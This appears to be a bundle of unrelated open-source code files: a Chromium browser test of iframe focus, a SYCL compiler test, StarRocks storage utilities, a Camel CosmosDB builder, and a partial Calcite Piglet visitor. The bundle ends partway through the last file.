// Copyright 2020 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "base/command_line.h" #include "base/run_loop.h" #include "base/test/test_timeouts.h" #include "build/build_config.h" #include "chrome/browser/ui/browser.h" #include "chrome/browser/ui/browser_window.h" #include "chrome/browser/ui/location_bar/location_bar.h" #include "chrome/browser/ui/tabs/tab_strip_model.h" #include "chrome/test/base/in_process_browser_test.h" #include "chrome/test/base/interactive_test_utils.h" #include "chrome/test/base/ui_test_utils.h" #include "components/omnibox/browser/omnibox_view.h" #include "content/public/browser/browser_thread.h" #include "content/public/browser/focused_node_details.h" #include "content/public/browser/render_widget_host_view.h" #include "content/public/browser/web_contents.h" #include "content/public/test/browser_test.h" #include "content/public/test/browser_test_utils.h" #include "content/public/test/content_browser_test.h" #include "content/public/test/content_browser_test_utils.h" #include "content/public/test/test_utils.h" #include "net/dns/mock_host_resolver.h" #include "net/test/embedded_test_server/embedded_test_server.h" #include "url/gurl.h" class ActiveRenderWidgetHostBrowserTest : public InProcessBrowserTest { public: ActiveRenderWidgetHostBrowserTest() = default; ~ActiveRenderWidgetHostBrowserTest() override = default; void SetUpCommandLine(base::CommandLine* command_line) override { content::IsolateAllSitesForTesting(command_line); } void SetUpOnMainThread() override { host_resolver()->AddRule("*", "127.0.0.1"); // Add content/test/data for cross_site_iframe_factory.html embedded_test_server()->ServeFilesFromSourceDirectory("content/test/data"); ASSERT_TRUE(embedded_test_server()->Start()); } private: DISALLOW_COPY_AND_ASSIGN(ActiveRenderWidgetHostBrowserTest); }; IN_PROC_BROWSER_TEST_F(ActiveRenderWidgetHostBrowserTest, DocumentIsActiveAndFocused) { GURL main_url(embedded_test_server()->GetURL( "a.com", "/cross_site_iframe_factory.html?a(b(c),d)")); // Site A ------------ proxies for B C D // |--Site B ------- proxies for A C D // | +--Site C -- proxies for A B D // +--Site D ------- proxies for A B C // Where A = http://a.com/ // B = http://b.com/ // C = http://c.com/ // D = http://d.com/ ui_test_utils::NavigateToURL(browser(), main_url); content::WebContents* web_contents = browser()->tab_strip_model()->GetActiveWebContents(); content::RenderFrameHost* main_frame_a = web_contents->GetMainFrame(); content::RenderFrameHost* child_frame_b = ChildFrameAt(main_frame_a, 0); ASSERT_NE(nullptr, child_frame_b); content::RenderFrameHost* child_frame_d = ChildFrameAt(main_frame_a, 1); ASSERT_NE(nullptr, child_frame_d); content::RenderFrameHost* child_frame_c = ChildFrameAt(child_frame_b, 0); ASSERT_NE(nullptr, child_frame_c); EXPECT_NE(main_frame_a->GetSiteInstance(), child_frame_b->GetSiteInstance()); EXPECT_NE(main_frame_a->GetSiteInstance(), child_frame_d->GetSiteInstance()); EXPECT_NE(child_frame_b->GetSiteInstance(), child_frame_c->GetSiteInstance()); // Helper function to check document.hasFocus() for a given frame. // hasFocus internally calls FocusController::IsDocumentFocused which // return true only iff document is active and focused. auto document_is_active_and_focused = [](content::RenderFrameHost* rfh) -> bool { bool has_focus = false; EXPECT_TRUE(ExecuteScriptAndExtractBool( rfh, "window.domAutomationController.send(document.hasFocus())", &has_focus)); return has_focus; }; // Helper function to check a property of document.activeElement in the // specified frame. auto verify_active_element_property = [](content::RenderFrameHost* rfh, const std::string& property, const std::string& expected_value) { std::string script = base::StringPrintf( "document.activeElement.%s.toLowerCase();", property.c_str()); EXPECT_EQ(expected_value, EvalJs(rfh, script)); }; // The main_frame_a should have a focus to start with. EXPECT_EQ(main_frame_a, web_contents->GetFocusedFrame()); EXPECT_TRUE(document_is_active_and_focused(main_frame_a)); EXPECT_FALSE(document_is_active_and_focused(child_frame_b)); EXPECT_FALSE(document_is_active_and_focused(child_frame_c)); EXPECT_FALSE(document_is_active_and_focused(child_frame_d)); verify_active_element_property(main_frame_a, "tagName", "body"); // After focusing child_frame_b, document.hasFocus() should return // true for child_frame_b and all its ancestor frames. EXPECT_TRUE(ExecuteScript(child_frame_b, "window.focus();")); EXPECT_EQ(child_frame_b, web_contents->GetFocusedFrame()); EXPECT_TRUE(document_is_active_and_focused(main_frame_a)); EXPECT_TRUE(document_is_active_and_focused(child_frame_b)); EXPECT_FALSE(document_is_active_and_focused(child_frame_c)); EXPECT_FALSE(document_is_active_and_focused(child_frame_d)); verify_active_element_property(main_frame_a, "tagName", "iframe"); verify_active_element_property(main_frame_a, "src", child_frame_b->GetLastCommittedURL().spec()); // After focusing child_frame_c, document.hasFocus() should return // true for child_frame_c and all its ancestor frames. EXPECT_TRUE(ExecuteScript(child_frame_c, "window.focus();")); EXPECT_EQ(child_frame_c, web_contents->GetFocusedFrame()); EXPECT_TRUE(document_is_active_and_focused(main_frame_a)); EXPECT_TRUE(document_is_active_and_focused(child_frame_b)); EXPECT_TRUE(document_is_active_and_focused(child_frame_c)); EXPECT_FALSE(document_is_active_and_focused(child_frame_d)); verify_active_element_property(main_frame_a, "tagName", "iframe"); // Check document.activeElement in main_frame_a. It should still // point to <iframe> for the b.com frame, since Blink computes the // focused iframe element by walking the parent chain of the focused // frame until it hits the current frame. This logic should still // work with remote frames. verify_active_element_property(main_frame_a, "src", child_frame_b->GetLastCommittedURL().spec()); // After focusing child_frame_d, document.hasFocus() should return // true for child_frame_d and all its ancestor frames. EXPECT_TRUE(ExecuteScript(child_frame_d, "window.focus();")); EXPECT_EQ(child_frame_d, web_contents->GetFocusedFrame()); EXPECT_TRUE(document_is_active_and_focused(main_frame_a)); EXPECT_FALSE(document_is_active_and_focused(child_frame_b)); EXPECT_FALSE(document_is_active_and_focused(child_frame_c)); EXPECT_TRUE(document_is_active_and_focused(child_frame_d)); verify_active_element_property(main_frame_a, "tagName", "iframe"); verify_active_element_property(main_frame_a, "src", child_frame_d->GetLastCommittedURL().spec()); // After focusing main_frame_a, document.hasFocus() should return // true for main_frame_a and since it's a root of tree, all its // descendants should return false. On the renderer side, both the // 'active' and 'focus' states for blink::FocusController will be // true. EXPECT_TRUE(ExecuteScript(main_frame_a, "window.focus();")); EXPECT_EQ(main_frame_a, web_contents->GetFocusedFrame()); EXPECT_TRUE(document_is_active_and_focused(main_frame_a)); EXPECT_FALSE(document_is_active_and_focused(child_frame_b)); EXPECT_FALSE(document_is_active_and_focused(child_frame_c)); EXPECT_FALSE(document_is_active_and_focused(child_frame_d)); verify_active_element_property(main_frame_a, "tagName", "body"); // Focus the URL bar. OmniboxView* omnibox = browser()->window()->GetLocationBar()->GetOmniboxView(); // Give the omnibox focus. omnibox->SetFocus(/*is_user_initiated=*/true); base::RunLoop().RunUntilIdle(); EXPECT_EQ(main_frame_a, web_contents->GetFocusedFrame()); // `omnibox->SetFocus()` should call blur event on main_frame_a and // deactivate the active render widget, but on Mac calling // `omnibox->SetFocus()` function doesn't invoke // RWHI::SetActive(false). As a result, `blink::FocusController`'s // 'active' state maintains the previous value of false. // // This table sums up `blink::FocusController`'s 'active' and 'focus' // states on different platforms after focusing the omnibox: // // | | Linux | Mac | Windows | // | active | false | true | false | // | focus | false | false | false | // // Since `document.hasFocus()` only returns true iff the document is // both active and focus, the test still expects // `document.hasFocus()` to be false on all platforms. // // Note that there is no separate API to test active state of the // document. Instead, Mac's active behavior is separately tested in // `ActiveRenderWidgetHostBrowserTest.FocusOmniBox`. EXPECT_FALSE(document_is_active_and_focused(main_frame_a)); EXPECT_FALSE(document_is_active_and_focused(child_frame_b)); EXPECT_FALSE(document_is_active_and_focused(child_frame_c)); EXPECT_FALSE(document_is_active_and_focused(child_frame_d)); // body tag is active by default. verify_active_element_property(main_frame_a, "tagName", "body"); verify_active_element_property(child_frame_b, "tagName", "body"); verify_active_element_property(child_frame_c, "tagName", "body"); verify_active_element_property(child_frame_d, "tagName", "body"); } // This test verifies that on Mac, moving the focus from webcontents to Omnibox // doesn't change the 'active' state and old value of the active state is // retained. // // FakeFrameWidget has Optional<bool> 'active' state which is // uninitialised at the beginning. omnibox->SetFocus() invokes // RWHI::SetActive(false) for webcontents and there is a IPC call to // renderer which changes 'active' state to false. // // On Mac, calling omnibox->SetFocus function doesn't invoke // RWHI::SetActive(false). Hence there is no IPC call to renderer and // 'active' state maintains old value. IN_PROC_BROWSER_TEST_F(ActiveRenderWidgetHostBrowserTest, FocusOmniBox) { GURL main_url(embedded_test_server()->GetURL("a.com", "/title1.html")); ui_test_utils::NavigateToURL(browser(), main_url); content::WebContents* web_contents = browser()->tab_strip_model()->GetActiveWebContents(); content::RenderFrameHost* main_frame = web_contents->GetMainFrame(); EXPECT_EQ(main_frame, web_contents->GetFocusedFrame()); mojo::PendingAssociatedReceiver<blink::mojom::FrameWidget> blink_frame_widget_receiver = content::BindFakeFrameWidgetInterfaces(main_frame); content::FakeFrameWidget fake_frame_widget( std::move(blink_frame_widget_receiver)); // Main frame is already focused at this point and now focus URL bar. OmniboxView* omnibox = browser()->window()->GetLocationBar()->GetOmniboxView(); // Give the omnibox focus. omnibox->SetFocus(/*is_user_initiated=*/true); base::RunLoop().RunUntilIdle(); #if defined(OS_MAC) // On MacOS, calling omnibox->SetFocus function doesn't invoke // RWHI::SetActive. Hence there is no IPC call to renderer and // FakeFrameWidget's 'active' state remains uninitialised. EXPECT_EQ(fake_frame_widget.GetActive(), base::nullopt); #else EXPECT_EQ(fake_frame_widget.GetActive(), false); #endif }
4,079
653
// RUN: %clangxx -fsycl-device-only -fsycl-unnamed-lambda -S -Xclang -emit-llvm %s -o - | FileCheck %s #include <sycl/sycl.hpp> int main() { sycl::queue Q; Q.single_task([] { // CHECK: tail call spir_func void @_Z21__spirv_MemoryBarrierjj(i32 2, i32 896) #{{.*}} sycl::atomic_fence(sycl::memory_order::relaxed, sycl::memory_scope::work_group); // CHECK: tail call spir_func void @_Z21__spirv_MemoryBarrierjj(i32 2, i32 898) #{{.*}} sycl::atomic_fence(sycl::memory_order::acquire, sycl::memory_scope::work_group); // CHECK: tail call spir_func void @_Z21__spirv_MemoryBarrierjj(i32 2, i32 900) #{{.*}} sycl::atomic_fence(sycl::memory_order::release, sycl::memory_scope::work_group); // CHECK: tail call spir_func void @_Z21__spirv_MemoryBarrierjj(i32 2, i32 904) #{{.*}} sycl::atomic_fence(sycl::memory_order::acq_rel, sycl::memory_scope::work_group); // CHECK: tail call spir_func void @_Z21__spirv_MemoryBarrierjj(i32 2, i32 912) #{{.*}} sycl::atomic_fence(sycl::memory_order::seq_cst, sycl::memory_scope::work_group); }); Q.wait(); return 0; }
584
2,519
<filename>be/src/storage/utils.cpp // This file is made available under Elastic License 2.0. // This file is based on code available under the Apache license here: // https://github.com/apache/incubator-doris/blob/master/be/src/olap/utils.cpp // Licensed to the Apache Software Foundation (ASF) under one // or more contributor license agreements. See the NOTICE file // distributed with this work for additional information // regarding copyright ownership. The ASF licenses this file // to you under the Apache License, Version 2.0 (the // "License"); you may not use this file except in compliance // with the License. You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, // software distributed under the License is distributed on an // "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY // KIND, either express or implied. See the License for the // specific language governing permissions and limitations // under the License. #include "storage/utils.h" DIAGNOSTIC_PUSH DIAGNOSTIC_IGNORE("-Wclass-memaccess") #include <bvar/bvar.h> DIAGNOSTIC_POP #include <dirent.h> #include <fmt/format.h> #include <lz4/lz4.h> #include <sys/stat.h> #include <unistd.h> #include <atomic> #include <boost/regex.hpp> #include <cerrno> #include <chrono> #include <cstdarg> #include <cstdint> #include <cstdio> #include <cstdlib> #include <cstring> #include <ctime> #include <filesystem> #include <mutex> #include <string> #include <vector> #include "common/logging.h" #include "common/status.h" #include "env/env.h" #include "gutil/strings/substitute.h" #include "storage/olap_define.h" #include "util/errno.h" #include "util/file_utils.h" #include "util/string_parser.hpp" using std::string; using std::set; using std::vector; namespace starrocks { static bvar::LatencyRecorder g_move_trash("starrocks", "move_to_trash"); uint32_t olap_adler32(uint32_t adler, const char* buf, size_t len) { return adler32(adler, reinterpret_cast<const Bytef*>(buf), len); } Status gen_timestamp_string(string* out_string) { time_t now = time(nullptr); tm local_tm; if (localtime_r(&now, &local_tm) == nullptr) { return Status::InternalError("localtime_r", static_cast<int16_t>(errno), std::strerror(errno)); } char time_suffix[16] = {0}; // Example: 20150706111404 if (strftime(time_suffix, sizeof(time_suffix), "%Y%m%d%H%M%S", &local_tm) == 0) { return Status::InternalError("localtime_r", static_cast<int16_t>(errno), std::strerror(errno)); } *out_string = time_suffix; return Status::OK(); } Status move_to_trash(const std::filesystem::path& file_path) { static std::atomic<uint64_t> delete_counter{0}; // a global counter to avoid file name duplication. auto t0 = std::chrono::steady_clock::now(); std::string old_file_path = file_path.string(); std::string old_file_name = file_path.filename().string(); std::string storage_root = file_path .parent_path() // shard_path .parent_path() // DATA_PREFIX .parent_path() // storage_root .string(); // 1. get timestamp string std::string time_str; RETURN_IF_ERROR(gen_timestamp_string(&time_str)); std::string new_file_dir = fmt::format("{}{}/{}.{}/", storage_root, TRASH_PREFIX, time_str, delete_counter.fetch_add(1, std::memory_order_relaxed)); std::string new_file_path = fmt::format("{}/{}", new_file_dir, old_file_name); // 2. create target dir, or the rename() function will fail. if (auto st = Env::Default()->create_dir(new_file_dir); !st.ok()) { // May be because the parent directory does not exist, try create directories recursively. RETURN_IF_ERROR(FileUtils::create_dir(new_file_dir)); } // 3. remove file to trash auto st = Env::Default()->rename_file(old_file_path, new_file_path); auto t1 = std::chrono::steady_clock::now(); g_move_trash << std::chrono::duration_cast<std::chrono::milliseconds>(t1 - t0).count(); return st; } Status copy_file(const string& src, const string& dest) { int src_fd = -1; int dest_fd = -1; char buf[1024 * 1024]; Status res = Status::OK(); src_fd = ::open(src.c_str(), O_RDONLY); if (src_fd < 0) { PLOG(WARNING) << "Not found file: " << src; res = Status::NotFound(fmt::format("Not found file: {}", src)); goto COPY_EXIT; } dest_fd = ::open(dest.c_str(), O_WRONLY | O_CREAT, S_IRUSR | S_IWUSR); if (dest_fd < 0) { PLOG(WARNING) << "Not found file: " << dest; res = Status::NotFound(fmt::format("Not found file: {}", dest)); goto COPY_EXIT; } while (true) { ssize_t rd_size = ::read(src_fd, buf, sizeof(buf)); if (rd_size < 0) { res = Status::IOError(fmt::format("Error to read file: {}, error:{} ", src, std::strerror(Errno::no()))); goto COPY_EXIT; } else if (0 == rd_size) { break; } ssize_t wr_size = ::write(dest_fd, buf, rd_size); if (wr_size != rd_size) { res = Status::IOError(fmt::format("Error to write file: {}, error:{} ", dest, std::strerror(Errno::no()))); goto COPY_EXIT; } } COPY_EXIT: if (src_fd >= 0) { ::close(src_fd); } if (dest_fd >= 0) { ::close(dest_fd); } VLOG(3) << "copy file success. [src=" << src << " dest=" << dest << "]"; return res; } Status read_write_test_file(const string& test_file_path) { if (access(test_file_path.c_str(), F_OK) == 0) { if (remove(test_file_path.c_str()) != 0) { return Status::IOError( fmt::format("Error to remove file: {}, error:{} ", test_file_path, std::strerror(Errno::no()))); } } else { if (errno != ENOENT) { return Status::IOError( fmt::format("Error to access file: {}, error:{} ", test_file_path, std::strerror(Errno::no()))); } } std::unique_ptr<RandomRWFile> file; Status st = Env::Default()->new_random_rw_file(test_file_path, &file); if (!st.ok()) { return Status::IOError( fmt::format("Error to create test file: {}, error:{} ", test_file_path, std::strerror(Errno::no()))); } const size_t TEST_FILE_BUF_SIZE = 4096; const size_t DIRECT_IO_ALIGNMENT = 512; char* write_test_buff = nullptr; char* read_test_buff = nullptr; if (posix_memalign((void**)&write_test_buff, DIRECT_IO_ALIGNMENT, TEST_FILE_BUF_SIZE) != 0) { LOG(WARNING) << "fail to allocate write buffer memory. size=" << TEST_FILE_BUF_SIZE; return Status::Corruption("Fail to allocate write buffer memory"); } std::unique_ptr<char, decltype(&std::free)> write_buff(write_test_buff, &std::free); if (posix_memalign((void**)&read_test_buff, DIRECT_IO_ALIGNMENT, TEST_FILE_BUF_SIZE) != 0) { LOG(WARNING) << "fail to allocate read buffer memory. size=" << TEST_FILE_BUF_SIZE; return Status::Corruption("Fail to allocate write buffer memory"); } std::unique_ptr<char, decltype(&std::free)> read_buff(read_test_buff, &std::free); // generate random numbers uint32_t rand_seed = static_cast<uint32_t>(time(nullptr)); for (size_t i = 0; i < TEST_FILE_BUF_SIZE; ++i) { int32_t tmp_value = rand_r(&rand_seed); write_test_buff[i] = static_cast<char>(tmp_value); } st = file->write_at(0, Slice(write_buff.get(), TEST_FILE_BUF_SIZE)); if (!st.ok()) { LOG(WARNING) << "Error to write " << test_file_path << ", error: " << st; return Status::IOError( fmt::format("Error to write file: {}, error:{} ", test_file_path, std::strerror(Errno::no()))); } st = file->read_at(0, Slice(read_buff.get(), TEST_FILE_BUF_SIZE)); if (!st.ok()) { LOG(WARNING) << "Error to read file: " << test_file_path << ", error: " << st; return Status::IOError( fmt::format("Error to read file: {}, error:{} ", test_file_path, std::strerror(Errno::no()))); } if (memcmp(write_buff.get(), read_buff.get(), TEST_FILE_BUF_SIZE) != 0) { LOG(WARNING) << "the test file write_buf and read_buf not equal, [file_name = " << test_file_path << "]"; return Status::InternalError("test file write_buf and read_buf not equal"); } st = file->close(); if (!st.ok()) { LOG(WARNING) << "Error to close " << test_file_path << ", error: " << st; return Status::IOError( fmt::format("Error to close file: {}, error:{} ", test_file_path, std::strerror(Errno::no()))); } if (remove(test_file_path.c_str()) != 0) { return Status::IOError( fmt::format("Error to revmoe file: {}, error:{} ", test_file_path, std::strerror(Errno::no()))); } return Status::OK(); } bool check_datapath_rw(const string& path) { if (!FileUtils::check_exist(path)) return false; string file_path = path + "/.read_write_test_file"; try { Status res = read_write_test_file(file_path); return res.ok(); } catch (...) { // do nothing } LOG(WARNING) << "error when try to read and write temp file under the data path and return " "false. [path=" << path << "]"; return false; } Status copy_dir(const string& src_dir, const string& dst_dir) { std::filesystem::path src_path(src_dir.c_str()); std::filesystem::path dst_path(dst_dir.c_str()); try { // Check whether the function call is valid if (!std::filesystem::exists(src_path) || !std::filesystem::is_directory(src_path)) { LOG(WARNING) << "Not found dir:" << src_path.string(); return Status::NotFound(fmt::format("Not found dir: {}", src_path.string())); } if (std::filesystem::exists(dst_path)) { LOG(WARNING) << "Dir already exist: " << dst_path.string(); return Status::AlreadyExist(fmt::format("Dir already exist: {}", dst_path.string())); } // Create the destination directory if (!std::filesystem::create_directory(dst_path)) { LOG(WARNING) << "Error to create dir: " << dst_path.string(); return Status::IOError( fmt::format("Error to create dir: {}, error:{} ", dst_path.string(), std::strerror(Errno::no()))); } } catch (...) { LOG(WARNING) << "input invalid. src_path=" << src_path.string() << " dst_path=" << dst_path.string(); return Status::InternalError("Invalid input path"); } // Iterate through the source directory for (const auto& file : std::filesystem::directory_iterator(src_path)) { try { const std::filesystem::path& current(file.path()); if (std::filesystem::is_directory(current)) { // Found directory: Recursion Status res = copy_dir(current.string(), (dst_path / current.filename()).string()); if (!res.ok()) { LOG(WARNING) << "Fail to copy file. src_path=" << src_path.string() << " dst_path=" << dst_path.string(); return Status::InternalError("Fail to copy file."); } } else { // Found file: Copy std::filesystem::copy_file(current, (dst_path / current.filename()).string()); } } catch (...) { LOG(WARNING) << "Fail to copy " << src_path.string() << " to " << dst_path.string(); return Status::InternalError("Fail to copy file."); } } return Status::OK(); } __thread char Errno::_buf[BUF_SIZE]; ///< buffer instance const char* Errno::str() { return str(no()); } const char* Errno::str(int no) { if (nullptr != strerror_r(no, _buf, BUF_SIZE)) { LOG(WARNING) << "fail to get errno string. no=" << no << " errno=" << errno; snprintf(_buf, BUF_SIZE, "unknown errno"); } return _buf; } int Errno::no() { return errno; } template <> bool valid_signed_number<int128_t>(const std::string& value_str) { char* endptr = nullptr; const char* value_string = value_str.c_str(); int64_t value = strtol(value_string, &endptr, 10); if (*endptr != 0) { return false; } else if (value > LONG_MIN && value < LONG_MAX) { return true; } else { bool sign = false; if (*value_string == '-' || *value_string == '+') { if (*(value_string++) == '-') { sign = true; } } uint128_t current = 0; uint128_t max_int128 = std::numeric_limits<int128_t>::max(); while (*value_string != 0) { if (current > max_int128 / 10) { return false; } current = current * 10 + (*(value_string++) - '0'); } if ((!sign && current > max_int128) || (sign && current > max_int128 + 1)) { return false; } return true; } } bool valid_decimal(const string& value_str, uint32_t precision, uint32_t frac) { const char* decimal_pattern = "-?\\d+(.\\d+)?"; boost::regex e(decimal_pattern); boost::smatch what; if (!boost::regex_match(value_str, what, e) || what[0].str().size() != value_str.size()) { LOG(WARNING) << "invalid decimal value. [value=" << value_str << "]"; return false; } std::string s = value_str[0] == '-' ? value_str.substr(1) : value_str; size_t number_length = s.size(); size_t integer_len = 0; size_t fractional_len = 0; size_t point_pos = s.find('.'); if (point_pos == string::npos) { integer_len = number_length; fractional_len = 0; } else { integer_len = point_pos; fractional_len = number_length - point_pos - 1; } // when precision = frac, integer_len can be 1; i.e. // decimal(2,2) can accept 0.1, 0.11, 0, 0.0 if (precision == frac && integer_len == 1 && s[0] == '0') { return true; } if (integer_len <= (precision - frac) && fractional_len <= frac) { return true; } else { return false; } } bool valid_datetime(const string& value_str) { const char* datetime_pattern = "((?:\\d){4})-((?:\\d){2})-((?:\\d){2})[ ]*" "(((?:\\d){2}):((?:\\d){2}):((?:\\d){2}))?"; boost::regex e(datetime_pattern); boost::smatch what; if (boost::regex_match(value_str, what, e)) { if (what[0].str().size() != value_str.size()) { LOG(WARNING) << "datetime str does not fully match. value_str=" << value_str << " match=" << what[0].str(); return false; } int month = strtol(what[2].str().c_str(), nullptr, 10); if (month < 1 || month > 12) { LOG(WARNING) << "invalid month " << month; return false; } int day = strtol(what[3].str().c_str(), nullptr, 10); if (day < 1 || day > 31) { LOG(WARNING) << "invalid day " << day; return false; } if (what[4].length()) { int hour = strtol(what[5].str().c_str(), nullptr, 10); if (hour < 0 || hour > 23) { LOG(WARNING) << "invalid hour " << hour; return false; } int minute = strtol(what[6].str().c_str(), nullptr, 10); if (minute < 0 || minute > 59) { LOG(WARNING) << "invalid minute " << minute; return false; } int second = strtol(what[7].str().c_str(), nullptr, 10); if (second < 0 || second > 59) { LOG(WARNING) << "invalid second " << second; return false; } } return true; } else { LOG(WARNING) << "datetime string does not match"; return false; } } bool valid_bool(const std::string& value_str) { if (value_str == "0" || value_str == "1") { return true; } StringParser::ParseResult result; StringParser::string_to_bool(value_str.c_str(), value_str.length(), &result); return result == StringParser::PARSE_SUCCESS; } } // namespace starrocks
7,271
4,262
<filename>components/camel-azure/camel-azure-cosmosdb/src/main/java/org/apache/camel/component/azure/cosmosdb/operations/CosmosDbOperationsBuilder.java /* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to You under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.apache.camel.component.azure.cosmosdb.operations; import com.azure.cosmos.models.ThroughputProperties; import org.apache.camel.component.azure.cosmosdb.client.CosmosAsyncClientWrapper; public final class CosmosDbOperationsBuilder { private final CosmosAsyncClientWrapper clientWrapper; private String databaseName; private boolean createDatabaseIfNotExist; private String containerName; private String containerPartitionKeyPath; private boolean createContainerIfNotExist; private ThroughputProperties throughputProperties; private CosmosDbOperationsBuilder(CosmosAsyncClientWrapper clientWrapper) { this.clientWrapper = clientWrapper; } public static CosmosDbOperationsBuilder withClient(final CosmosAsyncClientWrapper clientWrapper) { return new CosmosDbOperationsBuilder(clientWrapper); } public CosmosDbOperationsBuilder withDatabaseName(String databaseName) { this.databaseName = databaseName; return this; } public CosmosDbOperationsBuilder withCreateDatabaseIfNotExist(boolean createDatabaseIfNotExist) { this.createDatabaseIfNotExist = createDatabaseIfNotExist; return this; } public CosmosDbOperationsBuilder withContainerName(String containerName) { this.containerName = containerName; return this; } public CosmosDbOperationsBuilder withContainerPartitionKeyPath(String containerPartitionKeyPath) { this.containerPartitionKeyPath = containerPartitionKeyPath; return this; } public CosmosDbOperationsBuilder withCreateContainerIfNotExist(boolean createContainerIfNotExist) { this.createContainerIfNotExist = createContainerIfNotExist; return this; } public CosmosDbOperationsBuilder withThroughputProperties(ThroughputProperties throughputProperties) { this.throughputProperties = throughputProperties; return this; } public CosmosDbDatabaseOperations buildDatabaseOperations() { // if we enabled this flag, we create a database first before running the operation if (createDatabaseIfNotExist) { return CosmosDbClientOperations.withClient(clientWrapper) .createDatabaseIfNotExistAndGetDatabaseOperations(databaseName, throughputProperties); } // otherwise just return the operation without creating a database if it is not existing return CosmosDbClientOperations.withClient(clientWrapper) .getDatabaseOperations(databaseName); } public CosmosDbContainerOperations buildContainerOperations() { // if we enabled this flag, we create a container first before running the operation if (createContainerIfNotExist) { return buildDatabaseOperations() .createContainerIfNotExistAndGetContainerOperations(containerName, containerPartitionKeyPath, throughputProperties); } // otherwise just return the operation without creating a container if it is not existing return buildDatabaseOperations() .getContainerOperations(containerName); } }
1,330
2,984
/* * Licensed to the Apache Software Foundation (ASF) under one or more * contributor license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright ownership. * The ASF licenses this file to you under the Apache License, Version 2.0 * (the "License"); you may not use this file except in compliance with * the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.apache.calcite.piglet; import org.apache.calcite.plan.RelOptUtil; import org.apache.calcite.rel.RelNode; import org.apache.calcite.rel.core.CorrelationId; import org.apache.calcite.rel.core.JoinRelType; import org.apache.calcite.rel.logical.LogicalValues; import org.apache.calcite.rel.type.RelDataType; import org.apache.calcite.rex.RexNode; import org.apache.calcite.sql.fun.SqlStdOperatorTable; import org.apache.calcite.sql.type.MultisetSqlType; import org.apache.calcite.sql.type.SqlTypeName; import org.apache.calcite.sql.type.SqlTypeUtil; import org.apache.calcite.util.Litmus; import org.apache.pig.impl.logicalLayer.FrontendException; import org.apache.pig.newplan.Operator; import org.apache.pig.newplan.OperatorPlan; import org.apache.pig.newplan.PlanWalker; import org.apache.pig.newplan.logical.expression.LogicalExpressionPlan; import org.apache.pig.newplan.logical.relational.LOGenerate; import org.apache.pig.newplan.logical.relational.LOInnerLoad; import org.apache.pig.newplan.logical.relational.LogicalRelationalOperator; import org.apache.pig.newplan.logical.relational.LogicalSchema; import com.google.common.collect.ImmutableSet; import java.util.ArrayDeque; import java.util.ArrayList; import java.util.Deque; import java.util.List; /** * Visits Pig logical operators of Pig inner logical plans * (in {@link org.apache.pig.newplan.logical.relational.LOForEach}) * and converts them into corresponding relational algebra plans. */ class PigRelOpInnerVisitor extends PigRelOpVisitor { // The relational algebra operator corresponding to the input of LOForeach operator. private final RelNode inputRel; // Stack contains correlation id required for processing inner plan. private final Deque<CorrelationId> corStack = new ArrayDeque<>(); /** * Creates a PigRelOpInnerVisitor. * * @param plan Pig inner logical plan * @param walker The walker over Pig logical plan * @param builder Relational algebra builder * @throws FrontendException Exception during processing Pig operators */ PigRelOpInnerVisitor(OperatorPlan plan, PlanWalker walker, PigRelBuilder builder) throws FrontendException { super(plan, walker, builder); this.inputRel = builder.peek(); } @Override public void visit(LOGenerate gen) throws FrontendException { // @LOGenerate is the root of the inner plan, meaning if we reach here, all operators // except this node have been converted into relational algebra nodes stored in the builder. // Here we do the final step of generating the relational algebra output node for the // @LOForEach operator. // First rejoin all results of columns processed in nested block, if any, using correlation ids // we remembered before (in visit(LOForeach)). makeCorrelates(); // The project all expressions in the generate command, but ignore flattened columns now final List<Integer> multisetFlattens = new ArrayList<>(); final List<String> flattenOutputAliases = new ArrayList<>(); doGenerateWithoutMultisetFlatten(gen, multisetFlattens, flattenOutputAliases); if (multisetFlattens.size() > 0) { builder.multiSetFlatten(multisetFlattens, flattenOutputAliases); } } /** * Rejoins all multiset (bag) columns that have been processed in the nested * foreach block. * * @throws FrontendException Exception during processing Pig operators */ private void makeCorrelates() throws FrontendException { List<CorrelationId> corIds = new ArrayList<>(); List<RelNode> rightRels = new ArrayList<>(); // First pull out all correlation ids we remembered from the InnerLoads while (!corStack.isEmpty()) { final CorrelationId corId = corStack.pop(); corIds.add(0, corId); final List<RelNode> corRels = new ArrayList<>(); // All output rels from same inner load while (!RelOptUtil.notContainsCorrelation(builder.peek(), corId, Litmus.IGNORE)) { corRels.add(0, builder.build()); } assert corRels.size() > 0; builder.push(corRels.get(0)); builder.collect(); // Now collapse these rels to a single multiset row and join them together for (int i = 1; i < corRels.size(); i++) { builder.push(corRels.get(i)); builder.collect(); builder.join(JoinRelType.INNER, builder.literal(true)); } rightRels.add(0, builder.build()); } // The do correlate join for (int i = 0; i < corIds.size(); i++) { builder.push(rightRels.get(i)); builder.join(JoinRelType.INNER, builder.literal(true), ImmutableSet.of(corIds.get(i))); } } /** * Projects all expressions in LOGenerate output expressions, but not consider flatten * multiset columns yet. * * @param gen Pig logical generate operator * @throws FrontendException Exception during processing Pig operators */ private void doGenerateWithoutMultisetFlatten(LOGenerate gen, List<Integer> multisetFlattens, List<String> flattenOutputAliases) throws FrontendException { final List<LogicalExpressionPlan> pigProjections = gen.getOutputPlans(); final List<RexNode> innerCols = new ArrayList<>(); // For projection expressions final List<String> fieldAlias = new ArrayList<>(); // For projection names/alias if (gen.getOutputPlanSchemas() == null) { throw new IllegalArgumentException( "Generate statement at line " + gen.getLocation().line() + " produces empty schema"); } for (int i = 0; i < pigProjections.size(); i++) { final LogicalSchema outputFieldSchema = gen.getOutputPlanSchemas().get(i); 